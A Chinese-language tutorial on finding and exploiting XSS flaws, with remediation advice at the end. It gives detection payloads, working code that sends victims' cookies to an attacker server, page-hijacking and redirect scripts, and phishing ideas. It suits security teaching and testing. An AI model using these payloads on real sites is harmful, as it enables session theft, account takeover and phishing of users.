XSS漏洞检测和利用
XSS漏洞原理
XSS漏洞是一种跨站脚本攻击,攻击者通过构造恶意脚本传入服务器,并且被当成前端脚本执行了。
XSS分类
- 反射型XSS
反射型XSS是攻击者将恶意脚本注入到请求参数中,服务器将参数返回给客户端时,脚本从服务器“反射”到客户端并被执行的过程。攻击者通常会诱导用户点击包含恶意脚本的链接,或者在搜索框等地方输入恶意脚本,以便将脚本注入到请求参数中。
- 存储型XSS
存储型XSS是攻击者将恶意脚本提交到网站的数据库中,当其他用户浏览到包含恶意脚本的页面时,恶意脚本会从数据库中读取并被执行。攻击者通常会在评论区或者提交表单的地方注入恶意脚本,以便将脚本保存到服务器的数据库中。
- DOM型XSS
DOM型XSS是一种特殊的XSS攻击,与前两种攻击不同,它不需要将恶意脚本发送到服务器,而是利用了浏览器的DOM特性,通过修改页面中的DOM节点来执行恶意脚本。攻击者通常会通过诱导用户访问包含恶意脚本的页面来实现攻击。
XSS漏洞的危害
XSS漏洞的危害包括但不限于以下几点:
- 窃取用户的敏感信息,如cookie、密码等。
- 盗取用户的账号,进行恶意操作。
- 修改网页内容,如篡改文章、插入广告等。
- 伪造用户操作,如模拟用户表单提交等。
- 向其他用户传播恶意脚本,造成更广泛的危害。
JS代码的调用方式
在前端三件套中,只有javascript有能力操控浏览器并且可以在用户无感的情况下执行一系列恶意攻击的操作。所以在开始进行XSS漏洞检测手法讲解之前,需要先了解一下JS代码他是如何被网页调用并且执行的。
网页调用JS的手法一共有3种:
- 标签法
- 事件法
- 伪协议法
标签法
HTML语言中,不同的标签有着不同的功能,其中就有一个标签用来运行javascript脚本的:
<script></script>
通过这个标签,就可以导入javascript代码。标签法导入js代码,他有两种形式:
- 直接在标签对之间写js代码
<script>
//在标签对之间书写js代码
alert(1);
</script>
- 通过src属性,导入js文件
<script src='target.js'></script>
// src可以是相对路径,也可以是超链接
<script src="https://unpkg.com/vue@3/dist/vue.global.js"></script>
在这里需要注意一点,这两种形式只能二选一来使用。
事件法
事件是HTML4的新特性之一,它使得用户在对网页进行一些操作时,可以触发js代码,从而达到更好的交互效果。比如:
<!DOCTYPE html>
<html>
<body>
<img id="image" src="/i/eg_smile.gif" />
<input type="button" onclick=change() value="修改"/>
<!-- 当用户点击按钮时,触发js,修改图片的路径 -->
<input type="button" onclick=back() value="还原"/>
<!-- 当用户点击按钮时,触发js,修改图片的路径 -->
<script>
// 点击 修改 时调用的js代码
function change(){
document.getElementById("image").src = "/i/porsche.jpg";
}
// 点击 还原 时调用的js代码
function back(){
document.getElementById("image").src = "/i/eg_smile.gif";
}
</script>
<p>原始图像是 eg_smile.gif,但脚本将其更改为 porsche.jpg</p>
</body>
</html>
而前端中通常包含非常多的事件类型,感兴趣的可以去看看:
HTML 事件 | 菜鸟教程
协议法
伪协议(Pseudo-protocols)是一种用于URL(统一资源定位符)中的特殊协议标识符。它们不是真正的协议,而是在特定的上下文中执行特定的操作或触发特定的行为。
伪协议的种类非常多,常用的就包括:php伪协议、data伪协议、dict伪协议、gopher伪协议等等。而在触发js代码的伪协议中,重点要说两种:
javascript:
<a href="javascript:alert(1)"></a>
data:
<script src="data:text/javascript;base64,YWxlcnQoMSk="></script>
通过这两种方式都能触发执行js代码
XSS漏洞挖掘思路
虽然XSS在定义上被分为了3类:反射型、存储行和dom型,但是在探测网站是否存在xss漏洞时,并不需要这样的分类。因为不管是哪一个类别的XSS,如果它存在,那么它在表现上通常是一致的:我们插入的js代码被执行了。
所以我们在挖掘XSS漏洞的时候,只需要去找能够输入内容的地方,比如:表单字段、查询字符串、URL参数、Cookie、HTTP头等用户可以输入内容的地方,在这些地方传入构造好的恶意代码,如果有代码被触发了,就说明这个点是存在XSS漏洞的。
1. 查询字符串
当网站存在搜索或者查询功能时,我们可以先简单判断输入的字符是否会在前端输出。如果有输出,那么我们就可以常去对这些输出的位置测试XSS漏洞
2. 数据提交表单
表单测试xss相对来说会复杂一些。因为表单会出现两种情况:
- 我们提交数据之后,前端会显示我们提交的表单信息。经典案例:
注册信息、留言信息、评论信息、订单提交信息等
- 我们提交数据之后,前端不会显示我们提交的表单信息。经典案例:
问卷调查、意见反馈信息等等
对于这两种形式的表单,我们使用的测试方法会有所不同。
对于第一种,我们直接使用正常的测试语句去进行测试就行了:
通过这样的方式就可以对前端有回显的表单进行XSS测试。这样我们就能够判断出表单是否存在XSS漏洞了。
对于第二种形式,由于前端不会显示我们提交的表单信息,所以我们只能通过一些特殊的方式来进行测试:盲打
盲打是在我们不能直接看到回显时使用的一种的攻击手法,这个的核心目标是通过一些间接的证据来体现脚本被执行成功。这就好比SQL注入的盲注,在SQL盲注中,我们可以通过bool比较,让网页显示不一样的内容。可以让数据库休眠,延长网站的响应时间。XSS盲打也是借助这样的原理来实现,不过这个需要考验攻击者的js代码编写水平。
当然,也有简单的方式:借助XSS平台是否抓取到用户cookie来判断XSS漏洞是否存在。
XSS盲打实战案例:某网页漫画_xss实战
这样的方式,虽然能够成功实现 一个XSS盲打攻击,但是,需要提醒各位,使用XSS平台容易造成法律风险。所以在实际项目或src挖掘时,需要慎重使用。
3.Cookie、请求头等位置
cookie和请求头中的这些传参位置,通常容易被开发人员和安全设备忽略掉。这个是由于,一般cookie这些数据不会直接显示在前端页面上。但是这并不意味着这些地方就是安全的,一定不可能存在XSS的。
我们对Cookie等位置的测试,一般也都是以盲打为主
了解完需要测试点位之后,接下来就需要去构造测试使用的javascript语句了。这些构造通常由三种形式:
1. 标签风格
借助各种标签来调用js代码,常用的标签由:svg,iframe,img ,script 等等
<svg onLoad svg onLoad="javascript:javascript:alert(303)"></svg onLoad>
<iframe onLoad iframe onLoad="javascript:javascript:alert(296)"></iframe onLoad>
<!--\x3E<img src=xxx:x onerror=javascript:alert(358)> -->
<script>javascript:alert(356)</script\x0B
<script charset="\x22>javascript:alert(357)</script>
直接在输入点传入完整的标签,这种方式主要用于网站将数据输出在了两个标签之间的情况
2. 事件风格
通过闭合标签中的属性,实现向标签中插入新的属性或者事件
' onerror=alert(1) \\ " onfocus=alert(1) autofocus=autofocus \\
如果你由仔细观察过标签风格中给出的xss语句,你会发现,其实在标签风格中就已经有不少poc是在借助事件来测试XSS了,它们和我们们现在说的这个的唯一区别就是,事件风格,不在受限于 <>字符了。我们是直接将数据插到了已有的标签中去实现攻击的
3. 伪协议风格:
伪协议风格的使用条件相对来说要求比较严格,需要标签存在 href 属性或者网页能需要填写http连接。所以通常会借助 a 标签或者一些特殊的文档语法来测试:
<a href="javascript:alert(1)"> testxss</a> [xsstest](javascript:alert(1))
总结:
通过构造一些特殊的xss poc,在可能出现XSS漏洞测试点将这些语句传入网站,我们就能过够相对轻松的探测出XSS漏洞
XSS的利用手法
安全声明:以下内容仅用于技术讨论和学习,请勿用于非法用途
当我们通过之前讲的一系列的探测手法,发现目标网站存在XSS漏洞之后,我们如何借助这些XSS漏洞获得实际有效的漏洞成果呢?特别是对于红队选手,红队的得分点并不在于发现漏洞,而是通过漏洞获得有价值的信息。
所以在这里就需要去讨论XSS漏洞究竟能带来什么样的危害,这些危害是如何去实现的。
XSS中最常见的攻击手段包括一下内容:
- 窃取用户信息
- 恶意重定向
- 篡改网页内容
- 发起钓鱼攻击
窃取用户信息
js能够在浏览器中获取用户的一些基本信息:cookie、个人资料等。这些实现的方式也并不复杂,最简单的方式如下:
- 通过vps搭建一个站点,要求如下:
- 任意用户能访问
- 接受2个传参:网址url地址和cookie,并将传递的参数进行base64解密
- 将域名+时间戳作为文件名,保存传递过来的cookie信息
实现代码如下:
<?
if(isset($_REQUEST['cookieinfo']) && isset($_REQUEST["url"]) ){
$info = base64_decode($_REQUEST['cookieinfo']);
$domain =base64_decode($_REQUEST['url']);
file_put_contents($domain.time().".txt", $info);
echo "nice to get this message";
}else{
echo "hello world";
}
?>
- 构建xss攻击语句,要求如下:
- 通过js获取目标站点的 cookie、host,并将这些信息进行base64编码
- 创建span标签、form标签、iframe标签
- span标签设置为 display:none ,并且添加 form标签和 iframe标签为子标签
- 设置form标签,将数据提交到接受网站,并且按照接收平台的规则将数据进行组装
- 设置form提交结果相应到iframe标签中 6. 将span标签添加到 html标签中,并且提交form标签
代码实现如下:
(function(){
// 获得目标站点的信息
var cookieinfo = btoa(document.cookie);
var url = btoa(window.location.host.replace(":","_"));
// 设置接受信息的站点
var target_url = "http://192.168.226.1/phpinfo.php";
// 创建需要使用到的标签
var html = document.getElementsByTagName('html')[0];
var span = document.createElement("span");
var form = document.createElement('form');
var input1 = document.createElement("input");
var input2 = document.createElement("input");
// 设置form标签的基本属性
form.action = target_url;
// 设置传递的值域1 :cookie信息
input1.name = "cookieinfo";
input1.type = "text";
input1.setAttribute("value",cookieinfo );
// 设置传递的值域2 :域名信息
input2.name = "url";
input2.type = "text";
input2.setAttribute("value",url)
// 将值域填充到form表单中
form.appendChild(input1);
form.appendChild(input2);
// 创建一个iframe,用于接受form表单提交后返回的数据
var iframe = document.createElement("iframe");
iframe.name = "_test";
// 设置form的target,实现隐藏form回显的问题
form.target = iframe.name;
// 将form 和 iframe 都填充到 span 中
span.appendChild(form);
span.appendChild(iframe);
// 将 span 标签隐藏
span.style.display = "none";
// 然后将表单都填充到html页面中
html.appendChild(span);
// 提交表单
form.submit(); })()
通过这样的方式,就可以简单的实现用户数据窃取。当然,这样的代码比较丑陋(开发能力有限,见谅),在实际测试的时候有更优解:XSS平台
xss平台的作用和上面的功能是一样的。它是别人开发好的一套相对优雅的解法。但是,需要注意一点:公共XSS平台是不安全的,XSS平台的维护人员是能从XSS平台的后台获取所有打到该平台的XSS信息。
所以如果在实际项目中,项目对数据的保密性有要求,切忌使用公开XSS平台。
不过还是不能绕过XSS平台的简介,这里以 xsscom.com 平台为例,进行讲解,大部分的XSS平台都是大同小异的:
首先访问站点,之后进行一个注册。因为国内政策的原因,现在大部分的XSS平台注册都需要邀请码,同时需要使用邮箱进行注册。邀请码这个东西,没辙,不过现在有一部分的XSS平台是不限制邮箱的,所以我们可以通过临时邮箱来注册这些平台。(攻防中,一定要保护还好自己的个人隐私)
(如何获取临时邮箱?你猜猜看)
注册完成之后,使用账户进行登录,我就不在截图了。登录成功之后创建一个项目。一部分XSS平台对项目创建和数据存储有限制,这个自行探索。
创建 → 项目名称、描述 → 勾选模块(默认模块(必勾)、XSS.js(必勾)、基础认证钓鱼模块(可选)) → 完成
当创建完项目之后,将会得到一个代码页面,拖到最下面,就会有XSS平台的利用方法:
然后将这些利用方式,替换我们的XSS检测点的无害XSS,就能实现 基础的Cookie窃取:
这个解法,就很优雅了。唯一的缺点是:使用的是公共XSS平台。信息保密性无法保证。
恶意重定向
这个理解起来也很简单:就是通过向网页插入一串JS代码,让网页自动跳转到指定的网站中。
window.location.href="http://192.168.226.1"
当然,这个方式并不够优雅,因为这个跳转之后,浏览器地址栏的内容也会发生变化。这个迷惑性相对来说比较低,只要稍微注意一点,就能发现网站发生了异常。
篡改网页内容
所以就有了更优雅的攻击方式:篡改网页内容。在不修改地址栏的内容,实现对网站内容的篡改。
这里介绍一个新的平台:xssaq.com。这也是一个XSS平台,只不过它更加的暴力和优雅:
而我刚刚说的篡改网页你内容,就能通过他的一项配置来实现:
通过这个配置,就可以再不修改地址栏的内容。将网站重定向到指定的url中。在没有去看他的实现代码之前,我想到的思路是这样的:
- 通过js将原来的body给删除
- 通过js创建一个form表单,然后请求目标地址
- 通过js创建一个 iframe 标签,用来接收form表单的返回结果。
- 重新生成body,并且将form和iframe插入body标签。将body插入到html标签
在模仿Cookie窃取的思路来实现这个攻击。实现一下这个代码:
(function(){ var body = document.getElementsByTagName('body')[0];
body.parentNode.removeChild(body);
var html = document.getElementsByTagName("html")[0];
body = document.createElement("body");
html.appendChild(body);
var iframe = document.createElement("iframe");
iframe.name = "_test";
var form = document.createElement("form");
form.action="https://www.anchorubik.com";
form.method="get";
form.target = iframe.name;
body.appendChild(form);
body.appendChild(iframe);
iframe.style.cssText =
"position:absolute;"+
"z-index:100000;"+
"width:100%;height:100%;"+
"frameborder=no;scrolling:no";
form.submit();})()
不过这个代码实现的并不优雅。因为当遇到一些站点,不允许iframe跨域调用时,页面就会报错。而且,如果目标站点使用的是https时,重定向的目标站也必须使用https。
然后我就去看了一眼xssaq平台是怎么实现的。嗯,我思路是没有错的:
不过我尝试着直接拿上面的这一串代码放到浏览器中打self xss,发现效果没有上面的代码好。稍微修改一下自己的代码,然他显得不那么丑陋
(function(){
var html = document.getElementsByTagName("html")[0];
html.removeChild(document.getElementsByTagName("body")[0]);
var body = document.createElement("body");
body.style.cssText="scrolling:no";
html.appendChild(body);
var iframe = document.createElement("iframe");
iframe.src="https://www.anchorubik.com";
body.appendChild(iframe);
iframe.style.cssText =
"position:absolute;"+
"z-index:100000;"+
"width:100%;height:100%;"+
"frameborder=no;scrolling:no";
})()
优雅,不过如果细心一点还是能发现问题: 在网页上的操作,地址栏的内容将维持不变
发起钓鱼攻击
在了解了串改网页内容攻击的原理之后,还想要进一步攻击,那不就是钓鱼了?而有了篡改网页内容的基础之后,接下来要钓鱼还不是轻轻松松?
- 通过在自己的vps上模仿搭建目标站点的登录页面。
在自己的vps中实现以下功能:
a. 将用户提交的数据转发到原网站
b. 如果登录成功,则将数据保存在本地。并且不在劫持页面。
c. 如果登录失败,则将响应信息返回给目标用户,知道用户登录成功
思路有了,接下来就是代码实现来了:我觉得这个时候,各位应该可以拿起cs了。cs有一个钓鱼模块,能够轻松复刻目标站点,并且实现键盘记录。通过XSS篡改目标网站到我们cs生成的网站,能够完美实现钓鱼。
具体的实现方式,我这里就去写了,有点懒,在这里我想讨论另一个东西:如果目标站点存在XSS漏洞,我已经能够通过XSS获取目标的Cookie了,还有必要去钓鱼吗?
我认为有点鸡肋。
XSS漏洞修复建议
- 对用户输入进行过滤和转义,可以使用html实体编码或JavaScript转义函数实现。对于不需要包含HTML标签的文本,可以直接使用纯文本方式输出。
- 对于需要包含HTML标签的富文本,可以使用专门的富文本编辑器或者Markdown等标记语言,在服务器端对HTML标签进行白名单过滤。
- 设置HTTP响应头的Content-Security-Policy,限制页面的资源加载,禁止加载任何非白名单域名下的JavaScript、CSS等资源。
- 对于cookie等敏感信息,应设置HttpOnly和Secure属性,禁止通过JavaScript读取或修改cookie的值。
- 定期更新相关组件和框架,及时修复已知的漏洞。